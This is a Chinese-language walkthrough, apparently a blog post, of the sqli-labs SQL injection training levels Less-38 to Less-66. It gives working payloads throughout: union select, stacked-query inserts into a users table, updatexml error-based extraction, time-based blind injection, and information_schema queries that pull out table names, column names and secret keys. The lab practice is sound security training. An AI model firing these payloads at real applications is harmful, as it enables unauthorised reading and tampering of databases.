可以看到这里用了mysqli_multi_query()这个函数,所以除了Union select以外,你还可以做更加有破坏性的实验,比如插入一条数据。

Payload1:?id=-1 union select 1,database(),3 %23

Payload2:?id=1';insert into users(id,username,password) values (10086,'test','test')%23

Less-39

先用单双引号,可以确定这是个数字型的注入。

Payload1:?id=-1 union select 1,database(),3 %23

Payload2:?id=1;insert into users(id,username,password) values (10086,'test','test')%23

Less-40

单引号未显示结果,说明是错误的;而双引号可以显示结果,说明后台大概率是id='$id'或者是id=('$id'),所以堆叠注入可以这么写:?id=1');insert into users(id,username,password) values (10086,'test','test')%23

Less-41

单引号和双引号都没反应,说明这次要基于bool/时间来进行盲注了。

?id=1 and (ascii(substr((select database()),1,1))=115) %23

有了上面的这个,就可以构造堆叠注入了,也很简单:?id=1;insert into users(id,username,password) values (10086,'test','test')%23

Less-42

打开来发现是一个登陆界面。尝试了一下忘记密码和注册新用户,都不可以,所以把焦点放在了登陆页面上。查看一下源代码:

1
2
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

很明显对username做了过滤,但是对密码就没过滤,所以可以在密码那里进行堆叠注入。

在密码栏里输入admin' and updatexml(null,concat(0x3a,(select database())),null)#可以进行显错注入。

或者输入admin';insert into users(id,username,password) values (10087,'test','test')#

Less-43

源代码可以看到里面就是对闭合做了修改,所以你可以在密码栏给密码加上'",根据回显结果来判断应该是单引号闭合。下面的操作均在密码栏输入:

Payload1:') and 1=(updatexml(1,concat(0x3a,(select database())),1))#

Payload2:');insert into users(id,username,password) values (10088,'test','test');#这条会报错,但是数据仍然成功被插入了数据库里。

Less-44

emmmm这道题就不给错误信息了。

Payload1:1' union select 1,database(),3 #

Payload2:1';insert into users(id,username,password) values (10089,'less44','test');#

Less-45

改一下闭合就行了。

Payload1:1') union select 1,database(),3;#

Payload2:1');insert into users(id,username,password) values (10090,'less45','test');#

Less-46

从这里开始连最熟悉的GET参数id都改了,改成sort了。不管三七二十一,上来还是先加个单引号看看。

1574992869500

emmmm显示多了一个引号,所以这里大概率就是数字型,那就用联合注入看看?

1574993000236

这里提到了在使用UnionOrder by的用法上出了问题。这里其实可以猜到sort这个参数应该是跟在了order by之后,所以可能的sql语句应该是select * from xxx where xxx=xxx order by $sort这样子的。也就是说这里用联合注入是不行了,但是还有and可以用呀。来个报错注入试试看:

?sort=1 and 1=(updatexml(1,concat(0x3a,(select database())),1)),一试就成功了。

Less-47

加了单引号发现报错:1574995981890

看来是用了单引号,那么就很简单了:?sort=1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) %23

Less-48

按照惯例这里开始不报错了。所以就只能开始盲注啦。

一开始我构造的盲注payload长这样:?sort=1 and (ascii(substr((database()),1,1))=115) %23,但是我发现无论我怎么试,都是会出结果的。所以”传统”的bool注入在这里不好使,因为我在自己的数据库试了一下,order by 1 and 1=2照样出结果的。所以这里应该使用基于时间的盲注。

Payload:?sort=1 and if(ascii(substr(database(),1,1))=115,1,sleep(3)) %23

这里有个问题是这个sleep似乎是会对每一句都执行一次,所以如果有多个结果,可能会导致sleep非常久的时间。

Less-49

惯用伎俩,单引号闭合。

Payload:?sort=1' and if(ascii(substr(database(),1,1))=115,1,sleep(3)) %23

Less-50

试了一下单引号和双引号,基本确定这里就是一个数字型。然后似乎这里是考察堆叠注入哦?那这里就用堆叠来做好了,因为order by本来就是在sql语句的最后,所以其实非常适合做这个。

Payload:?sort=1;insert into users(id,username,password) values (10091,'less50','test');%23

Less-51

单引号报错,双引号不报错,所以是单引号闭合。

Payload:?sort=1';insert into users(id,username,password) values (10092,'less51','test');%23

Less-52

加了单引号和双引号都不报错,看来这里应该是只能盲注了。先用这个去试试看?sort=1 and if(ascii(substr(database(),1,1))=115,1,sleep(3)) %23,能够说明这是一个数字型的,之后我直接使用堆叠注入来试一下。emmm我直接用50题的payload就直接注入成功了。

Less-53

单引号不显示,双引号显示,说明是单引号闭合,那直接:Payload:?sort=1';insert into users(id,username,password) values (10094,'less53','test');%23

小总结

到这里算是把第三部分堆叠注入做完了。堆叠注入虽然破坏性更大,但是也是要基于你能够获得数据库的信息,所以其实需要有前面的基础才可以。做起来反而是非常简单的,就是闭合一下然后加上一个往数据库里插入内容的句子。

Less-54

从这里开始,加了一些条件,在规定的次数内获取到数据库的指定内容,否则就会重置,然后把你获取到的”secret key“提交上去,就可以了,有点类似CTF。基本上就是对前面的一些总结。这里我记录下我的顺序,顺便可以看下思路。

  1. ?id=1
  2. ?id=1'报错
  3. ?id=1"不报错。好到这里基本确定是单引号闭合
  4. ?id=1' union select 1,database(),3 %23←发现自己忘记把id改成一个不存在的….这一步白做了
  5. ?id=-1' union select 1,database(),3 %23,得到数据库名字
  6. ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=challenges %23
  7. 这里我怀疑我之前的数据库名字是不是弄错了,是不是漏掉了s….所以又重复了第五步一次。后来发现是自己
  8. ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' %23其实是我自己忘记了加引号……到这里就得到了表名。我这里得到的随机表名是PD0OP0EATI
  9. ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='PD0OP0EATI' %23得到所有的列名,我这里是id,sessid,secret_H8IA,tryy
  10. ?id=-1' union select 1,group_concat(secret_H8IA),3 from PD0OP0EATI %23最后显然觉得数据应该在secret这一列里,所以就试了一下,得到了结果。

其实上面的10步里面,我是默认原始的数据库是3列,而没有进行测试,所以其实还漏了用Order by测试来获取列数的步骤。

Less-55

  1. ?id=1
  2. ?id=1'%23不报错,但是没结果
  3. ?id=1"%23不报错,但是没结果
  4. ?id=1)%23正确。这里基本确定就是闭合和上面的有所区别。

然后的步骤就和上面一题一模一样了,只需要把单引号换成右括号就行了

Less-56

测试一下发现是')闭合,之后就和上面一样做。

Less-57

这里是双引号闭合…..

Less-58

好了上面基本上把闭合能玩的都玩了,接下来应该轮到报错注入和基于时间/bool的盲注了。

输入单引号,发现报错:

1575013602185

从报错信息来看也知道这里就是普通单引号闭合了。

  • 获取数据库名:?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) %23
  • 获取表名:?id=1' and (updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database()),0x3a),1)) %23
  • 获取列名:?id=1' and (updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='RKIUFFYILS'),0x3a),1)) %23
  • 获取数据:?id=1' and (updatexml(1,concat(0x3a,(select secret_Y02W from RKIUFFYILS ),0x3a),1)) %23

Less-59

这里变成了数字型的,把上面的单引号去掉就行了。

Less-60

")闭合就行了。

Less-61

'))闭合就行了。我没记错的是全篇第一次使用双括号吧?

Less-62

第一次输入id=1吓了我一跳。整整一百三十次,好吧,看来妥妥需要盲注了….

单引号没结果,双引号有结果,说明是单引号闭合。确定了单引号和双引号,再试试看有没有括号,如果直接用?id=1'%23是不显示结果的,加上括号就显示了,这里肯定后台是类似这样的:id=('$id')

先来测试出数据库名字(其实已经知道了)。?id=1') and (length(database())=10)%23,emmmm接下来就交给脚本吧…不然手注真的会疯掉。二分查找出结果速度应该还行。

  • 数据库名:?id=1') and ascii(substr(database(),1,1))>50
  • 表名:?id=1') and ((ascii(substr((select table_name from information_schema.tables where table_schema='challenges'),1,1)))>20) %23 这个做到后来真的是神志不清了…各种括号看的我头大
  • 列名:?id=1') and ((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='自行修改'),1,1)))>65) %23

Less-63

单引号闭合。

Less-64

两个右括号闭合。

Less-65

单括号闭合。

Less-66

emmmm 明明在页面上显示还有这个,但是实际上已经没有啦,去github上面确认了一下确实没有啦。